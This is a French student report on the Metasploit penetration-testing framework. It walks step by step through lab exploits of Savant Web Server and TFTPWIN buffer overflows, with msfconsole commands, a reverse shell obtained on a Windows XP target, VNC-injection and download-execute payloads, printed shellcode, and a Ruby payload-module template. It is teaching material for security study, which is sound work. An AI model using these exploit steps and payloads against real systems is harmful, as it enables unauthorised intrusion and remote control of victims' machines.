martin pauliat pelletier memoire

Upload: moprama

Post on 07-Apr-2018

222 views

Category:

Documents


0 download

TRANSCRIPT

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    1/25

    METASPLOIT

    Environnement intgr de test dintrusion

    MARTIN Benjamin PAULIAT Romain PELLETIER Alexandre

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    2/25

    Table des matires

    1 Prambule 21.1 METAQUOI ? METASPLOIT ! . . . . . . . . . . . . . . . . . . . . . . . . 21.2 Mise en place du framework . . . . . . . . . . . . . . . . . . . . . . . . . . 3

    2 Premiers pas avec Metasploit 62.1 Informations gnrales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62.2 Configuration de lexploit . . . . . . . . . . . . . . . . . . . . . . . . . . . 82.3 Configuration du payload et lancement de lexploit . . . . . . . . . . . . . 9

    3 Explication dun exploit 123.1 Gnralits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

    3.1.1 Acteurs en prsence . . . . . . . . . . . . . . . . . . . . . . . . . . 123.1.2 Description de la faille . . . . . . . . . . . . . . . . . . . . . . . . . 12

    3.2 Type de payloads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123.2.1 Remote Excutable . . . . . . . . . . . . . . . . . . . . . . . . . . . 133.2.2 Meterpreter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

    3.3 VNC Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153.3.1 Droulement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153.3.2 Dissection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

    4 Mise en place dun nouveau payload 184.1 Utilisation de msfpayload . . . . . . . . . . . . . . . . . . . . . . . . . . . 184.2 Ajout dun nouveau payload . . . . . . . . . . . . . . . . . . . . . . . . . . 20

    4.2.1 Dclaration dun nouveau payload . . . . . . . . . . . . . . . . . . 204.2.2 Paramtrisation du payload . . . . . . . . . . . . . . . . . . . . . . 21

    5 Conclusion 23

    1

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    3/25

    Chapitre 1

    Prambule

    1.1 METAQUOI ? METASPLOIT !

    Metasploit est un projet open-source servant, en premier lieu, tester la pntrationde systmes informatiss et permettant le dveloppement rapide dexploits ou depayloads.

    Cest un puissant outil disponible gratuitement et comparable aux produits com-merciaux tels que Immunitys CANVAS ou Core Impact. Lintrt de ce framework estla possibilit de rutiliser simplement une grande partie des bouts de code qui auraientautrement dus tre recopis ou rimplments pour chaque exploit.

    Cet projet a vu le jour durant lt 2003 en grande partie grce la contributionde H.D Moore et est actuellement disponible dans sa version 3. Initialement dveloppen langage de programmation Perl, le framework a t compltement r-crit pour laversion 3.0 en langage Ruby et ce pour plusieurs raisons.

    La ncessit de construction automatique de classes pour la rutilisation de codefut une chose laquelle Perl ne correspondait pas parfaitement. Une autre raison estlexistence dun interprteur natif pour la plateforme Windows. De plus, la syntaxe Rubyest incroyablement simple et fournit le mme niveau de fonctionnalits que les langagescomme Perl.

    Metasploit, conu pour tre le plus modulaire possible, se dcompose en plusieursparties. La pice fondamentale de larchitecture est la librairie Rex (Ruby ExtensionLibrary). Certains des composants fournis par Rex incluent un sous-systme demballagede socket, des implmentations de clients et serveurs de protocoles, un sous-systme delogging, des classes utilitaires dexploitation, et un grand nombre dautres classes utiles.

    Le niveau le plus bas est le "framework core", responsable de limplmentation detoutes les interfaces requises. Juste au dessus se situe le "framework base" qui est unecouche de librairies permettant dintragir plus simplement avec le framework core.Spars du framework lui-mme, se trouvent les plugins et modules quil va supports.

    Ces derniers ont une structure et interface prdfinie pour tre chargs comme tantun des exploits, payload, encodeur ou gnrateur de NOP. Un plugin est dfini commeloutil permettant dtendre ou damliorer les fonctionnalits du framework. Le schmasuivant rsume lensemble des dpendances des modules.

    2

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    4/25

    Fig. 1.1 Dpendances des modules du framework 3.0

    Lintrt de la structure de Metasploit est de considrer chacun des exploits,payloads ou autres comme tant spars du framework lui-mme, ce qui permet de lesmodifier, sauvegarder et rutiliser. En effet, cette structure se distinguera galementdans larborescence du framework et chacun des modules sera entirement dfini par unfichier crit en langage Ruby, ce qui permettra de rajouter ou de crer simplement sespropres exploits ou payloads.

    Aprs avoir abord le ct thorique de Metasploit, intressons nous linstallationet la prise en main dudit framework, qui, comme nous allons le voir, sont dune facilitdconcertante.

    1.2 Mise en place du framework

    Avant toute chose, le framework ncessite la prsence des librairies Ruby. Celles-cipeuvent tre installes par le biais de votre gestionnaire de paquets (apt-get, yum,dpkg ...) si cela nest pas dja fait. Il est aussi intressant dinstaller la bibliothque

    libreadline-ruby qui permettra dutiliser la compltion lors de lutilisation du frame-

    work via linetrface console.

    Une fois cette prparation termine, rendez-vous ladresse suivante :

    http ://www.metasploit.com/framework/download/

    Metasploit est disponible sous forme darchive .tar pour le monde UNIX et duninstall .exe pour les plateformes Windows. Dans notre projet, linstallation ralise sestfaite sur des machines tournant sous Ubuntu 8.04 et Fedora 9.

    Une fois le tlchargement effectu, dcompressez larchive, linstallation est termineet le framework est prt tre utilis.

    3

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    5/25

    Avant de lancer Metasploit, intressons nous un instant au contenu du dossier extrait.Les rpertoires les plus pertinents dans le cadre de ce projet sont :

    documentation/ contenant une documentation qui couvre les aspects techniques. exploits/ contenant lensemble des exploits mis disposition par le framework.

    Les derniers exploits sont tlchargeables sur le site de Metasploit. payloads/ contenant les payloads des diffrentes architectures et systmes dex-

    ploitation. encoders/ contenant diffrents encodeurs de payloads, permettant par exemple

    de "xorer" un payload.

    On peut remarquer une certaine similitude avec lorganisation des modules dcriteau chapitre prcdent. Cest en effet dans ces rpertoires que les fichiers Ruby sontplacs afin dtre chargs en tant que modules.

    Le framework cre aussi un dossier .msf3 la racine du home de lutilisateur. Cedossier contient les fichiers suivants :

    config : Fichier de configuration, o sont sauvegardes les variables denviron-

    nement et les autres inormation de la session. logs/ : Dossier qui contient les logs de session. modules/ : Modules dfinis par lutilisateur. modcache : Metadata propos des exploits, payloads, plugins, encoders, NOPs,

    et de la date de modification de ceux-ci.

    A noter quune description complte de chacun des rpertoires est disponible dans ladocumentation de Metasploit.

    Nous pouvons maintenant nous attaquer au vif du sujet, lutilisation de Metasploit.Pour se faire, nous avons notre disposition diffrentes interfaces, de la ligne de

    commande au mode graphique en passant par linterface web.

    msfconsole est linterface de prdilection car elle prsente le meilleur compromisentre clart et rapidit dutilisation, msfgui est un GUI (Graphical User Interface) et

    msfweb est lui aussi un GUI mais accessible via un navigateur classique. Voici un aperude ces 3 interfaces :

    Fig. 1.2 msfconsole

    4

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    6/25

    Fig. 1.3 msfweb

    Fig. 1.4 msfgui

    Celles-ci ayant un usage quivalent mais lutilisation de msfconsole permettant unemeilleure comprhension du droulement dun exploit, nous favoriserons cette interfacelors des prochaines parties.

    5

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    7/25

    Chapitre 2

    Premiers pas avec Metasploit

    2.1 Informations gnrales

    Dans cette partie, nous allons dcrire, en nous appuyant sur un exemple, la statgie adopter pour lancement dun exploit.

    Le but de ce chapitre est de mettre en valeur la facilit de prise en main de Metasploit,certains aspects de la configuration ne seront ici pas dtaills, une explication pluspousse sera effectue dans les chapitres suivants.

    Le lancement dun exploit se droule en 4 5 phases :

    Choisir et configurer lexploit. Choix de la cible. Choisir et configurer le payload. Choix de lencodage du payload (optionnel). Excution de lexploit.

    Lors de cet exemple nous attaquerons une machine tournant sous Windows XP SP1 etdadresse IP 192.168.1.5 via la faille du service Savant Web Server 3.1 et ce grce unestation Ubuntu dardresse IP 192.168.1.4.

    Cest parti, lancez ./msfconsole, voici ce que vous devriez obtenir :

    root@shaka:~/framework-3.2\$ ./msfconsole

    < metasploit >

    ------------

    \ ,__,

    \ (o o)______(__) )\

    || -- || *

    =[ msf v3.2-release

    + -- --=[ 320 exploits - 217 payloads

    + -- --=[ 20 encoders - 6 nops

    =[ 99 aux

    msf >

    6

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    8/25

    Nous pouvons constater quun nombre important dexploits (320) et de payloads(217) sont prsents par dfaut dans Metasploit. Nous verrons plus tard quil est possibledajouter trs simplement des modules annexes, crs de toutes pices ou rcuprs surle web.

    Maintenant, premier rflexe, consulter laide :

    msf > helpCore Commands

    =============

    Command Description

    ------- -----------

    ? Help menu

    back Move back from the current context

    banner Display an awesome metasploit banner

    cd Change the current working directory

    exit Exit the console

    help Help menu

    info Displays information about one or more moduleirb Drop into irb scripting mode

    jobs Displays and manages jobs

    load Load a framework plugin

    loadpath Searches for and loads modules from a path

    quit Exit the console

    resource Run the commands stored in a file

    route Route traffic through a session

    save Saves the active datastores

    search Searches module names and descriptions

    sessions Dump session listings and display information

    set Sets a variable to a value

    setg Sets a global variable to a value

    show Displays modules of a given type, or all modules

    sleep Do nothing for the specified number of seconds

    unload Unload a framework plugin

    unset Unsets one or more variables

    unsetg Unsets one or more global variables

    use Selects a module by name

    version Show the console library version number

    Cette liste reprsente lensemble des commandes supportes par dfaut au lancement

    de cette interface. Il est possible dajouter des fonctionnalits au framework via desplugins pour pouvoir par exemple intragir avec une base de donnes SQL.

    Dans notre exploit, seules les commandes de base nous seront utiles et plus parti-culirement help, info, set, show et use. En effet, celles-ci permettent de choisir unexploit et un payload, de lister les variables initialiser et deffectuer la configurationapproprie.

    Nous allons donc choisir lexploit qui nous concerne, pour cela on utilise la fonctionshow exploits, qui nous permet de lister lensemble des exploits disponibles, en voiciune partie :

    7

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    9/25

    msf > show exploits

    Exploits

    ========

    Name Description

    ---- -----------

    bsdi/softcart/mercantec_softcart Mercantec SoftCart

    freebsd/tacacs/xtacacsd_report XTACACSD

    On peut remarquer la corrlation entre le nom de lexploit, qui est de la forme

    OS/service/exploit, et le chemin o est stock le fichier Ruby correspondant. Cetteremarque est toute aussi valable pour les autres modules.

    Maintenant que notre exploit est charg (en effet, dans la console, la ligne

    msf exploit(savant_31_overflow) > est dsormais prsente), il va falloir configurercorrectement celui-ci. Dans la partie qui suit, nous tudierons donc la faon de rcuprerles informations ncessaires et les modifications apporter.

    2.2 Configuration de lexploit

    Les commandes show options et show targets permettent de lister la configuration

    requise par un exploit. Pour une description plus complte du module, il existe info.

    msf exploit(savant_31_overflow) > show options

    Module options:

    Name Current Setting Required Description

    ---- --------------- -------- -----------

    RHOST yes The target address

    RPORT 80 yes The target port

    msf exploit(savant_31_overflow) >

    8

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    10/25

    On remarque que le champ requis RHOST nest pas renseign. Celui-ci correspond ladresse IP de la machine distante "cible". Afin de linitialiser, on utilise la commande

    set qui permet dassigner une valeur une variable. Notons que RPORT, qui par dfautest initialis 80, correspond bien au port http distant. Dans notre exemple RHOST =192.168.1.5, on va donc configurer lexploit de la manire suivante :

    msf exploit(savant_31_overflow) > set RHOST 192.168.1.5

    RHOST => 192.168.1.5

    msf exploit(savant_31_overflow) >

    De la mme manire, on configure alors la cible :

    msf exploit(savant_31_overflow) > show targets

    Exploit targets:

    Id Name

    -- ----

    0 Universal Savant.exe

    1 Windows 2000 Pro All - English2 Windows 2000 Pro All - Italian

    3 Windows 2000 Pro All - French

    4 Windows XP Pro SP2 - English

    msf exploit(savant_31_overflow) >

    Dans notre exemple, lexploit sappuie sur une faille de lxcutable et nest pas spcifique un OS particulier. On choisira donc Savant.exe comme cible :

    msf exploit(savant_31_overflow) > set TARGET 0

    TARGET => 0

    msf exploit(savant_31_overflow) >

    Notre exploit est maintenant bien configur, ne reste plus qu choisir notre payload.

    2.3 Configuration du payload et lancement de lexploit

    On va maintenant choisir le payload excuter, on procde de la mme manire quepour lexploit i.e on affiche les payloads disponibles et on choisit en consquence. Dansnotre exemple, on veut simplement rcuprer un shell sur la machine distante :

    msf exploit(savant_31_overflow) > show payloads

    Compatible payloads

    ===================

    Name Description

    ---- -----------

    generic/debug_trap Generic x86 Debug Trap

    generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap

    generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap

    generic/debug_trap/bind_tcp Generic x86 Debug Trap

    ...

    9

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    11/25

    windows/shell/reverse_nonx_tcp Windows Command Shell

    windows/shell/reverse_ord_tcp Windows Command Shell

    windows/upexec/bind_nonx_tcp Windows Upload/Execute

    windows/upexec/reverse_nonx_tcp Windows Upload/Execute

    windows/upexec/reverse_ord_tcp Windows Upload/Execute

    windows/vncinject/bind_nonx_tcp Windows VNC Inject

    windows/vncinject/reverse_nonx_tcp Windows VNC Inject

    windows/vncinject/reverse_ord_tcp Windows VNC Inject

    msf > set PAYLOAD windows/shell/reverse_nonx_tcp

    PAYLOAD => windows/shell/reverse_nonx_tcp

    Une fois le payload charg, on utilise show options pour sassurer que tous les champssont bien renseigns. Si tel nest pas le cas il faudra y remdier.

    msf exploit(savant_31_overflow) > show options

    Module options:

    Name Current Setting Required Description---- --------------- -------- -----------

    RHOST 192.168.1.5 yes The target address

    RPORT 80 yes The target port

    Payload options (windows/shell/reverse_nonx_tcp):

    Name Current Setting Required Description

    ---- --------------- -------- -----------

    EXITFUNC thread yes Exit technique:seh, thread, process

    LHOST yes The local addressLPORT 4444 yes The local port

    Exploit target:

    Id Name

    -- ----

    0 Universal Savant.exe

    Dans notre exemple, il va falloir mettre la variable LHOST 192.168.1.4, qui est lIP

    de notre machine "attaquante" : msf exploit(savant_31_overflow) > set LHOST 192.168.1.4

    LHOST => 192.168.1.4

    msf exploit(savant_31_overflow) >

    Nous avons fini de configurer le payload. Notre exploit est prt tre lanc grce la commande exploit, dmonstration :

    msf exploit(savant_31_overflow) > exploit

    [*] Started reverse handler

    [*] Searching for a suitable nopsled...

    [*] Found one! Sending exploit.

    [*] Sending stage (474 bytes)

    10

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    12/25

    [*] Command shell session 1 opened

    (192.168.1.4:4444 -> 192.168.1.5:1041)

    Microsoft Windows XP [version 5.1.2600]

    (C) Copyright 1985-2001 Microsoft Corp.

    C:\Savant>cd ..

    C:\>dirdir

    Le volume dans le lecteur C na pas de nom.

    Le numero de serie du volume est 1CE2-D4CE

    Repertoire de C:\

    24/11/2008 21:39 0 AUTOEXEC.BAT

    24/11/2008 21:39 0 CONFIG.SYS

    24/11/2008 21:49 Documents and Settings

    21/12/2008 19:13 Program Files

    01/12/2008 21:12 Savant01/12/2008 22:52 WINDOWS

    2 fichier(s) 0 octets

    4 Rep(s) 1103221793712 octets libres

    C:\>

    On a donc "la main" sur la machine distante :-), ce qui signifie que lexploit sest biendroul. Maintenant que lutilisation de Metasploit est comprise, nous allons pouvoir nousintresser plus en dtail au droulement dun exploit.

    11

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    13/25

    Chapitre 3

    Explication dun exploit

    Nous allons tudier dans cette section un scnario dexploit. Beaucoup de papers surMetasploit dcrivent de manire simple les commandes utiliser pour un exploit. Cettepartie sera consacre la ralisation dun exploit simple, et de sa dissection.

    3.1 Gnralits3.1.1 Acteurs en prsence

    Soit un rseau 192.168.0.0/24 et deux machines Attaquant et Cible.

    Lattaquant A : 192.168.0.11 La cible C : 192.168.0.10

    La machine Cible propose un service TFTP sur son port 69, avec une version infecte :TFTP Server TFTPWIN 0.4.2 ProSysInfo.

    [root@localhost ~]# nmap -sU 192.168.0.10

    Starting Nmap 4.52 ( http://insecure.org ) at 2008-12-21 15:22 CET

    Interesting ports on 192.168.0.10:

    Not shown: 1478 closed ports

    PORT STATE SERVICE

    69/udp open|filtered tftp

    3.1.2 Description de la faille

    Cest une faille classique de Stack Overflow. Le serveur TFTP a besoin du usernamede lutilisateur. La taille nest pas verifiee, ce qui permet doverwriter le pointeur deretour eip vers une adresse. Le flux dxcution peut donc tre dtourn.

    3.2 Type de payloads

    En regardant les payloads proposs par Metasploit, plusieurs catgories semblent sedistinguer :

    Etablissement dune connexion entre A et C. Execution dune commande connue de A sur C. VNC inject : Obtention dune interface graphique Meterpreter : Nouveaut de Metasploit 2.3.

    12

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    14/25

    La connexion entre A et C peut etre initie par la machine Attaquant A, on parlede bind_shell, ou par la machine Cible C, dans ce cas, on parle de reverse_shell.

    Concernant la commande xcuter sur C, celle-ci peut mme tre downloade partir dune url tierce, comme le montre la figure 3.1

    Le concept VNCinject consiste uploader une DLL afin de simuler un quivalent de

    serveur VNC qui vhicule son flux dans du TCP. Metasploit rcupre ces informations,retranscrit le vritable flux VNC, le met ensuite disposition dun client, comme lemontre la figure 3.4.

    3.2.1 Remote Excutable

    Si on choisi dutiliser le payload suivant :

    windows/download_exec/reverse_nonx_tcp

    Le shellcode permet de tlcharger nimporte quel xcutable partir de nimporte

    quelle url passe en paramtre afin de lxcuter sur la machine Cible. La figure 3.1dcrit les diffrents flux dinformations prenant part lexploit.

    Fig. 3.1 Excution dune commande arbitraire sur la cible

    Dautres payloads peuvent tre utliss. De nouveaux payloads peuvent tre tlchargssur le site de Metasploit. Il est galement possible de les crer soi-mme, comme nousverrons dans le chapitre suivant.

    3.2.2 Meterpreter

    Metasploit offre une plthore de payloads, permettant deffectuer une certaine action

    sur une machine cible. Le problme est quun payload permet deffectuer quune seuleaction. Pour cette raison, son but est souvent dtablir un shell. Cela cre donc unnouveau processus. On pourrait se demander sil etait possible dinfecter un service, etdune manire ou dune autre garder la main sur le flux dxcution pour faire passerdes commandes arbitraire directement au sein du processus exploit.

    Meterpreter ou Meta-Interpreter est une nouveaut de la version 2.3 et proposece type de fonctionnalit. La faille est exploite sur la machine C, un meta-shell estpropos la machine A, pourvu dun ensemble de commande, comme on peut le voirsur la figure 3.2.

    13

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    15/25

    Lintrt gnial de Meterpreter est sa modularit. Un ensemble de nouvelles com-mandes peuvent tre uploades sur la machine Cible de faon dynamique (on the fly).Ce principe dextension permet nimporte quel developpeur de crer facilement unensemble de nouvelles commandes avec le langage de son choix, dont les xcutablesseront sous forme de DLL.

    meterpreter> helpCore Core feature set commands

    ------------ ----------------

    read Reads from a communication channel

    write Writes to a communication channel

    close Closes a communication channel

    interact Switch to interactive mode with a channel

    help Displays the list of all register commands

    exit Exits the client

    initcrypt Initializes the cryptographic subsystem

    Extensions Feature extension commands

    ------------ ----------------loadlib Loads a library on the remote endpoint

    use Uses a feature extension module

    meterpreter>

    Fig. 3.2 Mise disposition dun meta-shell

    On peut voir sur la figure 3.2 le package core. La figure 3.3 montre comment on peutajouter dynamiquement un autre package, cest a dire uploader un nouveau fichier DLL,comportant dautre commandes. La partie programmation de package de Meterpreterne sera pas dcrite, bien quinteressante, par manque de temps.

    meterpreter> use -m Process

    loadlib: Loading library from ext950591.dll on the remote machine.

    meterpreter>

    loadlib: success.

    meterpreter> help

    Process Process manipulation and execution commands

    ------------ ----------------

    execute Executes a process on the remote endpoint

    kill Terminate one or more processes on the remote endpoint

    ps List processes on the remote endpoint

    meterpreter> execute ...

    Fig. 3.3 Ajout de nouvelles commandes dans le meta-shell

    On peut voir sur la figure 3.3 que de nouvelles commandes sont venus se greffer aumenu help, aprs le chargement du package Process. De nombreux mcanismes sont mis disposition de la machine A de faon transparente.

    14

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    16/25

    3.3 VNC Injection

    Pour illustrer nos propos, nous avons choisi de rcuprer linterface graphique de lacible. Notons que cela est possible quelque soit la faille exploite.Notre choix se porte donc sur :

    le module /windows/tftp/tftpdwin_long_filename

    le payload /windows/vncinject/reverse_nonx_tcp

    3.3.1 Droulement

    Un certain nombre doptions1 doivent tre positionnes pour permettre le bondroulement de lexploit.

    RHOST : Remote Host : Machine C. RPORT : Remote Port : port tftp. LHOST : Local Host : Machine initiant lattaque sur RHOST : Machine A. LPORT : Local Port : Port du reverse Shell. VNCHOST : Emulation du serveur vnc : Machine A. VNCPORT : Port de mise a disposition du flux VNC. DLL : Fichier de dll qui sera uploader sur la machine A. EXITFUNC : Dcide de la manire dont on schappe du processus infect. Pour les

    cibles dont le systme dexploitation est Windows, on utilise souvent seh. CHOST, CPORT, ContextInfoFile, EnableContextEncoding, WfsDelay : allonge le delai dattente de session. DisableCourtesyShell : Ce shell permet davoir une console sur lcran de la

    machine Cible, mme si lcran est lock.

    Remarquons que Metasploit propose un utilitaire pour dcomposer ou forger desshellcodes. Par exemple, nous pouvons facilement voir celui que nous allons utiliser.

    \# ./msfpayload windows/vncinject/reverse_nonx_tcp LHOST=192.168.0.11 C

    /* windows/vncinject/reverse_nonx_tcp - 177 bytes (stage 1) */

    unsigned char buf[] =

    "\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d\x3c"

    "\xb4\x0c\x50\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6";

    /* windows/vncinject/reverse_nonx_tcp - 2650 bytes (stage 2) */

    unsigned char buf[] =

    "\x55\x8b\xec\x81\xec\xa8\x01\x00\x00\x53\x56\x57\xeb\x02\xeb"

    "\x04

    On peut observer que le shellcode est compos en deux parties, une partie tantplus petite2 et pouvant tenir dans le buffer employ par TFTPWIN. Nous reviendrons plusamplement sur msfpayload lors du chapitre suivant.

    1voir section prcdente pour plus dinformations sur la faon de positionner les paramtres2Les tailles ont t tronques pour plus de lisibilit.

    15

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    17/25

    Une fois les paramtres positionns, on lance lattaque :

    [*] Launching exploit windows/tftp/tftpdwin_long_filename...

    [*] Started reverse handler

    [*] Trying target Universal - tftpd.exe...

    [*] Transmitting intermediate stager for over-sized stage...(191 bytes)

    [*] Sending stage (2650 bytes)

    [*] Sleeping before handling stage...

    [*] Uploading DLL (197133 bytes)...

    [*] Upload completed.

    [*] Starting local TCP relay on 192.168.0.11:5900...

    [*] Local TCP relay started.

    [*] Launched vnciewer in the background.

    [*] Session 1 created for 192.168.0.10:1047

    La machine Attaquant obtient directement linterface graphique de la machine

    Cible. Celle ci, ne saperoit de rien, jusquau moment o la machine Attaquant kill lasession, cest le moment o le serveur tftp va planter et afficher le message derreur surla machine Cible.

    3.3.2 Dissection

    Fig. 3.4 Description de lexploit

    La figure 3.4 dcrit le droulement chronologique de lexploit. Les paquets sont

    observs laide de lutilitaire wireshark3

    1. Connexion vers la machine C sur le port RHOST.

    Frame 8 (341 bytes on wire, 341 bytes captured)

    Internet Protocol, Src:192.168.0.11 (192.168.0.11), Dst:192.168.0.10

    User Datagram Protocol, Src Port:52217 (52217), Dst Port:tftp (69)

    Trivial File Transfer Protocol

    3http ://www.wireshark.org

    16

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    18/25

    2. upload de la library VNC vers la machine Cible (VNC injection).

    Frame 9 (62 bytes on wire, 62 bytes captured)

    Internet Protocol, Src:192.168.0.10 (192.168.0.10), Dst:192.168.0.11

    Transmission Control Protocol, Src Port:neod1 (1047), Dst Port:4444

    Frame 10 (62 bytes on wire, 62 bytes captured)

    Internet Protocol, Src:192.168.0.11 (192.168.0.11), Dst:192.168.0.10

    Transmission Control Protocol, Src Port:krb524 (4444), Dst Port:1047

    3. Le serveur Tftp commence son traitement, demande le nom dutilisateur et le placedans la pile du process. Celle ci est symbolise par le rectangle droite de la figure3.4.

    4. Dbordement de la pile et dtournement du flux dxcution vers le shellcode.Celui-ci est constitu dinstructions NOP pour augmenter les chances de tomber uneadresse du dbut du buffer.

    5. Execution du shellcode, ouverture dune connexion vers A (reverse_shell).

    6. Le flux VNC vient est encapsule dans un flux TCP et arrive par le port LPORT. Le

    serveur VNC simul prend en entre ce flux TCP et le met disposition sur le portVNCPORT.

    Frame 141 (74 bytes on wire, 74 bytes captured)

    Internet Protocol, Src:192.168.0.11 (192.168.0.11), Dst:192.168.0.11

    Transmission Control Protocol, Src Port:43925 (43925), Dst Port:5900

    Virtual Network Computing

    7. Si la case Auto est coche, le framework lance un vncviewer sur ce port.

    17

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    19/25

    Chapitre 4

    Mise en place dun nouveau payload

    Comme on la expliqu aux chapitres prcdents, lune des fonctionnalits deMetasploit est que partir dun exploit que lon a dj dans la base de donne, on peuteffectuer plusieurs taches : les payloads. On peut les crer, ce qui est le but de cette partie.

    Avant toute chose nous allons revenir sur msfpayload qui nous permet de regarder

    les payloads plus en profondeur. Puis nous verrons le principes de base servant crerles singles payloads.

    4.1 Utilisation de msfpayload

    Msfpayload deux fonctionalits : la premire nous permet essentiellement de voirles shellcodes qui sont injects dans le flot dxecution. Pour la seconde, on le coupleavec un dsassembleur ce qui nous permet de voir ce qui ce passe au niveau du processeur.

    On regardera dans cette partie le payload windows/exec. Ce dernier tant petit il estplus facile tudier.

    Les payloads se trouvent dans /modules/payloads/. Lutilisation de

    msfpayload se fait de la faon suivante :

    msfpayload

    O les options de msfpayload sont :

    S : Un rsum du payload.

    C : pour tudier le payload en C.

    J : pour tudier le payload en java.

    P : pour tudier le payload en Perl.X : pour tudier le payload comme executable.

    R : pour tudier le payload comme raw.

    Comme le montre le figure 4.1, le payload windows/exec permet dxcuter unecommande sur une machine cible. Il est ncessaire de positionner en paramtre lacommande xcuter sur la cible.

    18

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    20/25

    [root@ben-laptop]# ./msfpayload windows/exec CMD=dir S

    Name: Windows Execute Command

    Version: 5773

    Platform: Windows

    Arch: x86

    Needs Admin: No

    Total size: 116

    Provided by:

    vlad902

    Basic options:

    Name Current Setting Required Description

    ---- --------------- -------- -----------

    CMD dir yes The command string to execute

    EXITFUNC seh yes Exit technique: seh, thread, process

    Description:Execute an arbitrary command

    Fig. 4.1 Description du payload windows/exec

    On peut regarder ce que donne le payload avec la syntaxe du langage C. On pourraitdonc trs facilement utiliser un payload de Metasploit dans un autre programme C, cequi les rend extrmement portables.

    root@ben-laptop# msfpayload windows/exec CMD=dir C

    /** windows/exec - 116 bytes

    * http://www.metasploit.com

    * EXITFUNC=seh, CMD=dir

    */

    unsigned char buf[] =

    "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef"

    "\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31"

    "\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b"

    "\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"

    "\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x5f"

    "\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b\x40\x0c\x8b\x70\x1c\xad""\x8b\x68\x08\x89\xf8\x83\xc0\x6a\x50\x68\xf0\x8a\x04\x5f\x68"

    "\x98\xfe\x8a\x0e\x57\xff\xe7\x64\x69\x72\x00";

    msfpayload donne galement la possibilit de lister les commandes assembleur util-ises, en couplant la sortie brute avec un dsassembleur, comme par exemple ndisasm1.On utilise loption R pour ce type de sortie.

    1http ://sourceforge.net/projects/nasm

    19

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    21/25

    root@ben-laptop# msfpayload windows/exec CMD=dir R | ndisasm -u -

    00000000 FC cld

    00000001 E844000000 call dword 0x4a

    ...

    00000068 6898FE8A0E push 0xe8afe98

    0000006D 57 push edi

    0000006E FFE7 jmp edi

    00000070 64 db 0x6400000071 69 db 0x69

    00000072 7200 jc 0x74

    00000074 0A db 0x0A

    On peut brivement remarquer que la commande DIR est bien prise en compte (0x64,0x69, 0x72). Notons galement que ce payload transporte une chaine de caractres. Sile programme est absent sur le systme cible, une erreur sera gnre. Pour uploaderdynamiquement des programmes, on pourra voir la section relative Meterpreter.

    A propos de la syntaxe

    Le flux de msfpayload est mis dans un tube par le shell, le programme ndisasmprend la sortie du tube en guise dentre standard, laide du tiret.

    Ainsi, on voit ce qui se passe au niveau de lassembleur. Ce qui peut tre utile quandon veut concevoire ces propres payload.

    4.2 Ajout dun nouveau payload

    4.2.1 Dclaration dun nouveau payload

    Un single payload est le type le plus simple des payload, en effet ce dernier se suffit lui-mme : il effectue une unique tache sans avoir besoin de codes auxilliaires.

    Nous nous appuierons donc sur ce type de payload au cours de cette partie pourfaciliter la comprhension de linsertion dun nouveau module.

    Commenons par regarder quoi celui-ci ressemble gnralement :

    require msf/core

    require msf/core/handler/bind_tcp

    module Msf

    module Payloads

    module Singles

    module Windows

    module Exemple

    include Msf::Payload::Windows

    include Msf::Payload::Single

    def initialize(info = {})

    ...

    20

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    22/25

    Ce fichier dbute donc par les dclarations standards, linstar dun fichier enlangage C, et la place des modules pour les dpendances. On remarque ainsi que notremodule, qui porte le nom Exemple est bien un single payload pour une plateformeWindows.

    Cette en-tte, qui va charger les bibliothques ncessaires, va nous permettre de grersimplement la prise en charge de notre payload proprement parler et de ses options.

    Il ne nous reste plus qu dclarer notre payload, ce que nous allons faire dans lasection qui suit.

    4.2.2 Paramtrisation du payload

    On va donc sattaquer la configuration de notre payload, pour cela, ce qui nousintresse ici est la deuxime partie du fichier, savoir :

    super(merge_info(info,

    Name => test d ajout de payload,

    Version => $Revision: 5365 $,

    Description => Exemple de comment ajouter un single payload,Author => abr,

    License => MSF_LICENSE,

    Platform => win,

    Arch => ARCH_X86,

    Handler => Msf::Handler::BindTcp,

    Session => Msf::Sessions::CommandShell,

    Payload =>

    {

    Offsets =>

    {

    LPORT => [ 0, n ],LHOST => [ 15, ADDR ],

    EXITFUNC => [ 30, V ],

    },

    Payload =>

